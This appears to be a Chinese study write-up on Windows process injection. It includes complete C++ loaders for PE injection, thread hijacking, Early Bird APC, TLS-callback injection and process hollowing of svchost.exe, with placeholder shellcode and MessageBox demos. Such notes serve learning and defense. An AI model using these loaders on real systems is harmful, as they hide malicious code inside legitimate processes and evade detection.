
总结
学习代码放在:https://github.com/yongsheng220/ProcessInject
名称 |
概述 |
Windows APIs |
经典DLL注入 |
通过dll落地,远程调用LoadLibrary加载恶意dll |
OpenProcess VirtualAllocEx WriteProcessMemory CreateRemoteThread LoadLibrary |
反射DLL注入 |
通过远程调用自定义ReflectiveLoader函数模拟PE加载过程 |
OpenProcess VirtualAllocEx WriteProcessMemory CreateRemoteThread |
Dll Hollowing |
通过镂空加载的合法DLL,执行恶意代码 |
LoadLibraryEx NtCreateSection + NtMapViewOfSection CreateThread |
PE注入 |
通过将恶意PE写到远程目标后,创建线程执行恶意方法 |
OpenProcess VirtualAllocEx WriteProcessMemory CreateRemoteThread |
线程注入 |
通过暂停远程线程,将eip/rip指向写入的shellcode |
OpenThread SuspendThread VirtualAllocEx WriteProcessMemory SetThreadContext ResumeThread |
APC注入 |
APC机制执行 |
OpenProcess/OpenThread VirtualAllocEx WriteProcessMemory QueueUserAPC |
TLS注入 |
TLS机制执行 |
|
Process Hollowing |
通过创建挂起进程,卸载源PE,写入恶意PE |
CreateProcess NtUnmapViewOfSection VirtualAllocEx WriteProcessMemory |
Process Overwriting |
直接将恶意PE覆写源PE |
CreateProcess VirtualProtectEx WriteProcessMemory ResumeThread |
Process Stomping |
将shellcode写到滥用RWX属性的PE中 |
CreateProcess WriteProcessMemory ResumeThread |
Process Doppelganging |
利用事务NTFS回滚特性,优化内存属性 |
CreateTransaction CreateFileTransactedW RollbackTransaction NtCreateProcessEx NtCreateThreadEx |
Transacted Hollowing |
Hollowing 和 Doppelganging的综合优化 |
|
Process Ghosting |
利用文件删除标志位,”无文件”落地 |
NtSetInformationFile NtCreateProcessEx NtCreateThreadEx |
Ghostly Hollowing |
Process Ghosting优化 |
|
PE注入
原理见图:通过 OpenProcess、VirtualAllocEx、WriteProcessMemory、CreateRemoteThread 系列API进行远程注入

常规注入PE
将自身作为携带恶意函数的PE写到目标进程中通过处理重定位表后执行恶意方法
流程如下:
#include <Windows.h> #include <iostream> #include <tlhelp32.h>
using namespace std;
typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; USHORT Type : 4; } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; // 恶意方法 DWORD InjectionEntryPoint() { CHAR moduleName[128] = ""; GetModuleFileNameA(NULL, moduleName, sizeof(moduleName)); MessageBoxA(NULL, moduleName, "Obligatory PE Injection", NULL); return 0; }
BOOL PrivilegeEscalation() { HANDLE hToken; LUID luid; TOKEN_PRIVILEGES tp; OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid); tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tp.Privileges[0].Luid = luid; if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { CloseHandle(hToken); return FALSE; } else { cout << "[+]提权成功" << endl; return TRUE; } }
DWORD GetProcessPID(LPCSTR lpProcessName) { DWORD rPid = 0; // 初始化结构体信息,用于枚举进程 PROCESSENTRY32 processEntry; processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE lpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (lpSnapshot == INVALID_HANDLE_VALUE) { cout << "[-]创建快照失败" << endl; return 0; } if (Process32First(lpSnapshot, &processEntry)) { do { if (lstrcmp(processEntry.szExeFile, lpProcessName) == 0) { rPid = processEntry.th32ProcessID; break; } } while (Process32Next(lpSnapshot, &processEntry)); } CloseHandle(lpSnapshot); cout << "[*]PID: " << rPid << endl; return rPid; }
int main() { LPCSTR name = "notepad.exe"; // 提升当前进程权限 if (!PrivilegeEscalation()) { cout << "[-]提升权限失败" << endl; return 1; }
PVOID imageBase = GetModuleHandle(NULL); PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((BYTE*)imageBase + dosHeader->e_lfanew);
PVOID localImage = VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE); memcpy(localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage);
DWORD Pid = GetProcessPID(name); if (Pid == 0) { cout << "[-]获取PID失败" << endl; return 1; } HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, Pid); if (hProcess == INVALID_HANDLE_VALUE) { cout << "[-]打开进程失败" << endl; return 1; }
PVOID tarImageBase = VirtualAllocEx(hProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE); DWORD_PTR offset = (DWORD_PTR)tarImageBase - (DWORD_PTR)imageBase; cout << "[*]tarImageBase: " << tarImageBase << endl; cout << "[*]localImage: " << localImage << endl; cout << "[*]Offset: " << hex << offset << endl;
//获取重定位表 PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); DWORD relocationEntriesCount = 0; PDWORD_PTR patchedAddress; PBASE_RELOCATION_ENTRY relocationRVA = NULL;
//遍历重定位块 while (relocationTable->SizeOfBlock > 0) { // 获取重定位块中包含的重定位项的数量 relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT); relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1);
for (short i = 0; i < relocationEntriesCount; i++) { if (relocationRVA[i].Offset) { patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset); *patchedAddress += offset; } } relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock); }
WriteProcessMemory(hProcess, tarImageBase, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL); //memset(localImage, 0, ntHeader->OptionalHeader.SizeOfImage); VirtualFree(localImage, 0, MEM_RELEASE); // 本地InjectionEntryPoint + offset = 远程InjectionEntryPoint HANDLE hRemoteHandle = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)InjectionEntryPoint + offset), NULL, 0, NULL); if (hRemoteHandle == INVALID_HANDLE_VALUE) { cout << "[-]创建远程线程失败" << endl; return 1; } WaitForSingleObject(hRemoteHandle, INFINITE); CloseHandle(hRemoteHandle);
return 0; }
|

变体注入shellcode
如果只执行shellcode,就不用繁杂的处理PE,只要远程写入、远程调用即可。
流程如下:
int main() { // 提升当前进程权限 if (!PrivilegeEscalation()) {cout << "[-]提升权限失败" << endl;return 1;} // 要注入的进程名字 LPCSTR tname = "notepad.exe"; DWORD Pid = GetProcessPID(tname); if (Pid == NULL) { cout << "[-]获取PID失败" << endl; return 1; } HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid); if (hProcess == INVALID_HANDLE_VALUE){cout << "[-]打开进程失败" << endl;return 1;} SIZE_T length = sizeof(shellcode); LPVOID pshellcode = VirtualAllocEx(hProcess, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, pshellcode, shellcode, length, NULL); HANDLE hRemoteHandle = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pshellcode, NULL, 0, NULL); WaitForSingleObject(hRemoteHandle, INFINITE); CloseHandle(hRemoteHandle); return 0; }
|
线程劫持
原理如图:通过 SuspendThread、GetThreadContext、修改上下文eip/rip、SetThreadContext、ResumeThread恢复线程执行shellcode 进行远程注入

代码:
unsigned char shellcode[] = "";
LPCSTR name = "notepad.exe"; DWORD targetPID = GetProcessPID(name);
HANDLE threadHijacked = NULL; THREADENTRY32 threadEntry; CONTEXT context; context.ContextFlags = CONTEXT_FULL; threadEntry.dwSize = sizeof(THREADENTRY32);
HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID); if (targetProcessHandle == INVALID_HANDLE_VALUE) { cout << "[-]打开进程失败" << endl; return 0; } PVOID remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); Thread32First(snapshot, &threadEntry);
while (Thread32Next(snapshot, &threadEntry)) { if (threadEntry.th32OwnerProcessID == targetPID) { threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID); if (threadHijacked == INVALID_HANDLE_VALUE) { cout << "[-]打开线程失败" << endl; return 0; } break; } }
SuspendThread(threadHijacked);
GetThreadContext(threadHijacked, &context); context.Rip = (DWORD_PTR)remoteBuffer; SetThreadContext(threadHijacked, &context);
ResumeThread(threadHijacked);
return 0;
|
APC注入
APC是在某一个进程中的N多线程各自维护一个任务队列,用于异步回调,当线程处于alertable状态时,执行队列里的任务的一种机制。
APC注入简单来说就是往队列里插入执行shellcode的任务。
常规的APC进程注入具有不确定性,需要线程能够处于alertable状态,而处于该状态是需要一些特定函数的:ReadFileEx,SetWaitableTimer, SetWaitableTimerEx和WriteFileEx等 ,所以常规是注入到explorer.exe下的所有线程中,故不再记录。
这里直接记录比较实用的两种技术:Early Bird远程进程注入 和 本地进程注入,在这之前要先介绍 NtTestAlert 函数,该函数是ntdll中一个未导出函数,会在线程初始化时进行调用,作用是清空并处理APC队列内任务,所以会在进程的主线程入口点之前运行任务并接管进程控制权。具体调用链为:LdrInitializeThunk → LdrpInitialize → _LdrpInitialize → NtTestAlert → KiUserApcDispatcher
Early Bird
Early Bird 远程注入原理 :创建一个主线程挂起的进程,然后恢复线程进行初始化,调用NtTestAlert执行shellcode
流程如下:
#include <Windows.h>
int main() { unsigned char buf[] = "xxx"; SIZE_T shellSize = sizeof(buf); STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); HANDLE victimProcess = pi.hProcess; HANDLE threadHandle = pi.hThread;
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); ResumeThread(threadHandle);
return 0; }
|
因为这样要创建一个新的进程,很有可能会有窗口体显示,所以还可以在 已存在进程中注入
在已有进程中创建一个挂起的线程
写入shellcode
插入apc队列
恢复挂起的线程
int main() { unsigned char shellcode[] = ""; LPCSTR name = "notepad.exe"; DWORD targetPID = GetProcessPID(name); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, targetPID); PVOID AllocAddr = VirtualAllocEx(hProcess, 0, sizeof(shellcode) + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, AllocAddr, shellcode, sizeof(shellcode) + 1, 0); system("pause"); HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)0xfff, 0, CREATE_SUSPENDED, NULL); //插入APC队列 QueueUserAPC((PAPCFUNC)AllocAddr, hThread, 0); system("pause"); //恢复线程触发APC执行 ResumeThread(hThread); //WaitForSingleObject(hThread,INFINITE); //CloseHandle(hProcess); CloseHandle(hThread); return 0; }
|
注入notepad.exe

本地进程注入
本地进程注入原理:自身主动调用NtTestAlert处理APC,相关代码在《免杀入门》出现过
#include <Windows.h> #include <stdio.h>
typedef DWORD(WINAPI* pNtTestAlert)();
unsigned char buf[] = "shellcode is here";
int main() { // 修改 shellcode 所在内存区域的保护属性,允许执行 DWORD oldProtect; VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
//获取NtTestAlert函数地址, 因为它是一个内部函数.无法直接通过函数名调用 pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
// 将buf强转为APC 函数,向当前线程的异步过程调用(APC)队列添加一个执行shellcode的任务 QueueUserAPC((PAPCFUNC)buf, GetCurrentThread(), NULL);
//调用NtTestAlert,触发 APC 队列中的任务执行(即执行 shellcode) NtTestAlert();
return 0; }
|
TLS注入
关于TLS,个人认为算不上是进程注入的一种技术,更像是一种能够代码执行的机制,TLS机制在《免杀入门》已经有过介绍,这里引用:
https://idiotc4t.com/code-and-dll-process-injection/tls-code-execute 代码,实现 TLS机制+mapping技术进行进程注入。
#include <Windows.h> #include <stdio.h> #pragma comment(linker, "/section:.data,RWE") #pragma comment (lib, "OneCore.lib") #include <Tlhelp32.h>
char shellcode[] = "";
DWORD pid; VOID NTAPI TlsCallBack(PVOID DllHandle, DWORD dwReason, PVOID Reserved) { WCHAR lpszProcessName[] = L"notepad.exe"; if (dwReason == DLL_PROCESS_ATTACH) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe; pe.dwSize = sizeof pe; if (Process32First(hSnapshot, &pe)) { do { if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0) { CloseHandle(hSnapshot); pid = pe.th32ProcessID; break; } } while (Process32Next(hSnapshot, &pe)); }
HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);
LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(shellcode)); memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode)); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ); HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpMapAddressRemote, NULL, 0, NULL); UnmapViewOfFile(lpMapAddress); CloseHandle(hMapping); } }
#pragma comment (linker, "/INCLUDE:__tls_used") #pragma comment (linker, "/INCLUDE:__tls_callback")
#pragma data_seg (".CRT$XLB") EXTERN_C PIMAGE_TLS_CALLBACK _tls_callback = TlsCallBack; #pragma data_seg ()
int main() { return 0; }
|
Process Hollowing*
进程镂空/傀儡进程 基本原理如图:类似于DLL Hollowing,掏空目标(exe进程)的内存空间,覆写PE/shellcode。

在我学习该方法时,有许多的变体,这里列出表格概述:原始PE为要注入的合法目标,新PE为待注入的恶意软件
名称 |
原理解释 |
经典Process Hollowing |
原始 PE 在内存中取消映射,并且新PE从相同起始地址开辟RWX空间,写入后执行 |
经典Process Hollowing变体 |
原始PE内存中保持原样,新PE被写入到新的RWX内存,从新地址执行 |
Process Overwriting |
原始PE内存中保持映射,直接将新PE覆写,执行 |
Process Stomping |
通过寻找滥用RWX权限section的PE (exe或dll) ,将shellcode写入该区域,执行 |
另外关于不同版本:
当编译为32位时,仅支持x86架构
32 bit evil-PE -> 32 bit target-PE
|
当编译为64位时,支持两种架构
64 bit evil-PE -> 64 bit target-PE 32 bit evil-PE -> 32 bit target-PE
|
经典Process Hollowing
经典镂空通过创建挂起的进程,将内存映射取消,并在同一位置(基址)开辟内存,将要注入的PE覆写进去,通过设置寄存器的值设置上下文,然后恢复挂起线程。
流程如下:
CreateProcess 创建一个挂起的合法进程
CreateFile 读取恶意PE
GetThreadContext 获取挂起进程上下文与环境信息
NtUnmapViewOfSection 卸载挂起进程内存
VirtualAllocEx 开辟空间
WriteProcessMemory 写入PE
修复重定位表
SetThreadContext 设置上下文
ResumeThread 恢复挂起进程
#include <iostream> #include <Windows.h>
using namespace std;
typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);
typedef struct IMAGE_RELOCATION_ENTRY { WORD Offset : 12; WORD Type : 4; } IMAGE_RELOCATION_ENTRY, * PIMAGE_RELOCATION_ENTRY;
// 要确保SourceFile和TargetFile的Subsystem相同,否则注入失败 const LPCSTR SourceFile = "C:\\Users\\cys\\Desktop\\shellcode.exe"; // 待注入PE const LPCSTR TargetFile = "C:\\windows\\System32\\svchost.exe"; // 目标PE
// Process-Hollowing int main() { //创建挂起进程 STARTUPINFOA si = { 0 }; si.cb = sizeof(STARTUPINFOA); PROCESS_INFORMATION pi;
CreateProcessA( TargetFile, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi );
if (!pi.hProcess) { cerr << "[-]Creat process fail"; return 1; } cout << "[+]Process PID: " << pi.dwProcessId << endl;
HANDLE hfile = CreateFile(SourceFile, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL); DWORD dwFileSize = GetFileSize(hfile, NULL); PVOID lpBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); DWORD dwReadSize = 0; ReadFile(hfile, lpBuffer, dwFileSize, &dwReadSize, NULL); CloseHandle(hfile);
CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.hThread, &ctx); PVOID RemoteImageBase; BOOL readpeb = NULL;
// 获取被挂起进程基址技巧:通过寄存器https://bbs.kanxue.com/thread-253432-1.htm #ifdef _WIN64 // 从rdx寄存器中获取PEB地址,并从PEB中读取挂起的可执行映像的基址 readpeb = ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL); #endif #ifdef _X86_ // 从ebx寄存器中获取PEB地址,并从PEB中读取挂起的可执行映像的基址 readpeb = ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL); #endif if (!readpeb) { DWORD error = GetLastError(); cout << "[-]ReadProcessMemory failed with error code: " << error << endl; return 1; } // unmap卸载内存 pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"); NTSTATUS result = NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); if (result) { cout << "[-]NtUnmapViewOfSection fail" << endl; return 1; } const auto pDos = (PIMAGE_DOS_HEADER)lpBuffer; const auto pNt = (PIMAGE_NT_HEADERS)((LPBYTE)lpBuffer + pDos->e_lfanew); //对挂起进程开辟空间 LPVOID pRemoteMem = VirtualAllocEx(pi.hProcess, RemoteImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); cout << "[*]VirtualAllocEx: 0x" << pRemoteMem << endl;
const DWORD64 DeltaImageBase = (DWORD64)pRemoteMem - pNt->OptionalHeader.ImageBase; pNt->OptionalHeader.ImageBase = (DWORD64)pRemoteMem;
//写入文件头,包括 DOS/NT/SECTION headers //从 pi.hProcess 中的 pRemoteMem 地址开始写 lpBuffer 内容的 pNt->OptionalHeader.SizeOfHeaders 大小字节 WriteProcessMemory(pi.hProcess, pRemoteMem, lpBuffer, pNt->OptionalHeader.SizeOfHeaders, NULL);
const IMAGE_DATA_DIRECTORY ImageDataReloc = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; PIMAGE_SECTION_HEADER lpImageRelocSection = nullptr;
//写入section节区 for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++) { const auto lpImageSectionHeader = (PIMAGE_SECTION_HEADER)((uintptr_t)pNt + 4 + sizeof(IMAGE_FILE_HEADER) + pNt->FileHeader.SizeOfOptionalHeader + (i * sizeof(IMAGE_SECTION_HEADER))); // 定位reloc if (ImageDataReloc.VirtualAddress >= lpImageSectionHeader->VirtualAddress && ImageDataReloc.VirtualAddress < (lpImageSectionHeader->VirtualAddress + lpImageSectionHeader->Misc.VirtualSize)) lpImageRelocSection = lpImageSectionHeader;
PVOID pSectionDestination = (PVOID)((LPBYTE)pRemoteMem + lpImageSectionHeader->VirtualAddress); WriteProcessMemory(pi.hProcess, pSectionDestination, (LPVOID)((uintptr_t)lpBuffer + lpImageSectionHeader->PointerToRawData), lpImageSectionHeader->SizeOfRawData, nullptr); cout << "[*]Writing " << lpImageSectionHeader->Name << " section to 0x" << hex << pSectionDestination << endl; }
cout << "[+] Relocation section :" << lpImageRelocSection->Name << endl;
//修复重定位 DWORD RelocOffset = 0; while (RelocOffset < ImageDataReloc.Size) { const auto lpImageBaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD64)lpBuffer + lpImageRelocSection->PointerToRawData + RelocOffset); RelocOffset += sizeof(IMAGE_BASE_RELOCATION); const DWORD NumberOfEntries = (lpImageBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOCATION_ENTRY); for (DWORD i = 0; i < NumberOfEntries; i++) { const auto lpImageRelocationEntry = (PIMAGE_RELOCATION_ENTRY)((DWORD64)lpBuffer + lpImageRelocSection->PointerToRawData + RelocOffset); RelocOffset += sizeof(IMAGE_RELOCATION_ENTRY);
if (lpImageRelocationEntry->Type == 0) continue; const DWORD64 AddressLocation = (DWORD64)pRemoteMem + lpImageBaseRelocation->VirtualAddress + lpImageRelocationEntry->Offset; DWORD64 PatchedAddress = 0; ReadProcessMemory(pi.hProcess, (LPVOID)AddressLocation, &PatchedAddress, sizeof(DWORD64), nullptr); PatchedAddress += DeltaImageBase; WriteProcessMemory(pi.hProcess, (LPVOID)AddressLocation, &PatchedAddress, sizeof(DWORD64), nullptr); } } cout << "[+] Relocations done" << endl;
//https://stackoverflow.com/questions/57341183/view-address-of-entry-point-in-eax-register-for-a-suspended-process-in-windbg #ifdef _WIN64 //将rcx寄存器设置为注入软件的入口点 ctx.Rcx = (SIZE_T)((LPBYTE)pRemoteMem + pNt->OptionalHeader.AddressOfEntryPoint); WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pRemoteMem, sizeof(PVOID), NULL); #endif #ifdef _X86_ //将eax寄存器设置为注入软件的入口点 ctx.Eax = (SIZE_T)((LPBYTE)pRemoteMem + pNt->OptionalHeader.AddressOfEntryPoint); WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pRemoteMem, sizeof(PVOID), NULL); #endif //释放本内存中PE痕迹 VirtualFree(lpBuffer, 0, MEM_RELEASE); cout << "[+]SetThreadContext" << endl; SetThreadContext(pi.hThread, &ctx); ResumeThread(pi.hThread); CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
return 0; }
|
unmap前:Image类型内存

unmap后:取消映射

同一地址再开辟:变为Private类型

恢复线程:


过程中一些问题:
Q:为什么修复重定位表?
A:加载基址与imagebase不一样。
Q:程序没有reloc怎么办?
A:使用变体即可,否则使用经典会报错

Q:为什么在x64镂空svchost.exe会失败?
A:看到某项目中一句话,具体原因还没调试。
In Process Hollowing Injection technique, it Crashes With Some 64bit process like System32\svchost.exe,...
|

后来发现和 编译选项 /Subsystem
有关,右图为svchost.exe,它的Subsystem为GUI APP,而我编译要注入的程序为Console App,所以导致无法正常执行。

解决方法为:将编译选项更换与svchost.exe相同

同时将注入的PE修改函数为WinMain
#include <Windows.h> int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { MessageBoxA(0, "Process Hollowing", "Process Hollowing", 0); return 0; }
|
正常运行!

Q:这一行代码作用?: WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pRemoteMem, sizeof(PVOID), NULL);
A:恢复PEB基址
参考:
https://github.com/m0n0ph1/Process-Hollowing 原始x86
https://github.com/comosedice2012/Introduction-to-Process-Hollowing 没有重定位
Process Hollowing 变体
该变体,是网上文章中最常见的代码。不使用NtUnmapViewOfSection卸载原映射内存,通过要注入PE的OptionalHeader的ImageBase,直接在挂起进程中的该地址开辟新空间、写入PE,这样就省区了修复重定位表的操作。
对于exe,32位默认基地址(imagebase)是0x400000,64位是0x1400000 对于DLL,32位默认基地址(imagebase)是0x10000000,64位是0x1800000
|
流程如下:
- CreateProcess 创建一个挂起的合法进程
- CreateFile 读取恶意PE
- GetThreadContext 获取挂起进程上下文与环境信息
- VirtualAllocEx 开辟空间
- WriteProcessMemory 写入PE
- SetThreadContext 设置上下文
- ResumeThread 恢复挂起进程
#include <iostream> #include <Windows.h>
using namespace std;
// 要确保SourceFile和TargetFile的Subsystem相同以及 位数相同,否则注入失败 const LPCSTR SourceFile = "C:\\Users\\cys\\Desktop\\box64.exe"; // 待注入PE const LPCSTR TargetFile = "C:\\windows\\System32\\svchost.exe"; // 目标PE
// Process-Hollowing 变体 int main() { //创建挂起进程 STARTUPINFOA si = { 0 }; si.cb = sizeof(STARTUPINFOA); PROCESS_INFORMATION pi;
CreateProcessA( TargetFile, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi );
if (!pi.hProcess) { cerr << "[-]Creat process fail"; return 1; } cout << "[+]Process PID: " << pi.dwProcessId << endl;
HANDLE hfile = CreateFile(SourceFile, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL); DWORD dwFileSize = GetFileSize(hfile, NULL); PVOID lpBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); DWORD dwReadSize = 0; ReadFile(hfile, lpBuffer, dwFileSize, &dwReadSize, NULL); CloseHandle(hfile);
// 获取挂起进程的线程上下文和映像基址 CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.hThread, &ctx); PVOID RemoteImageBase; BOOL readpeb = NULL;
// 获取被挂起进程基址技巧:通过寄存器https://bbs.kanxue.com/thread-253432-1.htm #ifdef _WIN64 // 从rdx寄存器中获取PEB地址,并从PEB中读取挂起的可执行映像的基址 readpeb = ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL); #endif #ifdef _X86_ // 从ebx寄存器中获取PEB地址,并从PEB中读取挂起的可执行映像的基址 readpeb = ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL); #endif if (!readpeb) { DWORD error = GetLastError(); cout << "[-]ReadProcessMemory failed with error code: " << error << endl; return 1; }
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)lpBuffer; PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + (LPBYTE)lpBuffer);
// 对挂起进程开辟空间 PVOID pRemoteMem = VirtualAllocEx(pi.hProcess, (LPVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); cout << "[*]VirtualAllocEx: " << pRemoteMem << endl;
//写入文件头,包括 DOS/NT/SECTION headers // 从 pi.hProcess 中的 pRemoteMem 地址开始写 lpBuffer 内容的 pNt->OptionalHeader.SizeOfHeaders 大小字节 WriteProcessMemory(pi.hProcess, pRemoteMem, lpBuffer, pNt->OptionalHeader.SizeOfHeaders, NULL);
//写入section节区 for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++) { auto pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)lpBuffer + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); // section data为空 if (!pSectionHeaders->PointerToRawData) { continue; } PVOID pSectionDestination = (PVOID)((LPBYTE)pRemoteMem + pSectionHeaders->VirtualAddress); WriteProcessMemory(pi.hProcess, pSectionDestination, (PVOID)((LPBYTE)lpBuffer + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL); cout << "[*]Writing " << pSectionHeaders->Name << " section to 0x" << hex << pSectionDestination << endl; }
//将rcx寄存器设置为注入软件的入口点 GetThreadContext(pi.hThread, &ctx); #ifdef _WIN64 ctx.Rcx = (SIZE_T)((LPBYTE)pRemoteMem + pNt->OptionalHeader.AddressOfEntryPoint); WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pRemoteMem, sizeof(PVOID), NULL); #endif //将eax寄存器设置为注入软件的入口点 #ifdef _X86_ ctx.Eax = (SIZE_T)((LPBYTE)pRemoteMem + pNt->OptionalHeader.AddressOfEntryPoint); WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pRemoteMem, sizeof(PVOID), NULL); #endif //释放本内存中PE痕迹 VirtualFree(lpBuffer, 0, MEM_RELEASE); cout << "[+]SetThreadContext" << endl; SetThreadContext(pi.hThread, &ctx); // 设置线程上下文 ResumeThread(pi.hThread); // 恢复挂起线程 CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
return 0; }
|
x64效果:

内存分布:直接在默认0x1400000处开辟Private类型内存,Image映射内存在下面,没截到。

通用实现代码
该项目实现了四种情况的注入,https://github.com/adamhlt/Process-Hollowing
- x86 有reloc
- x86 无reloc
- x64 有reloc
- x64 无reloc
Process Overwriting*
来讨论一下Process Hollowing的缺点,那就是在内存中显眼的 MEM_PRIVATE 内存,为了更好的隐藏特征,提出了该方法。
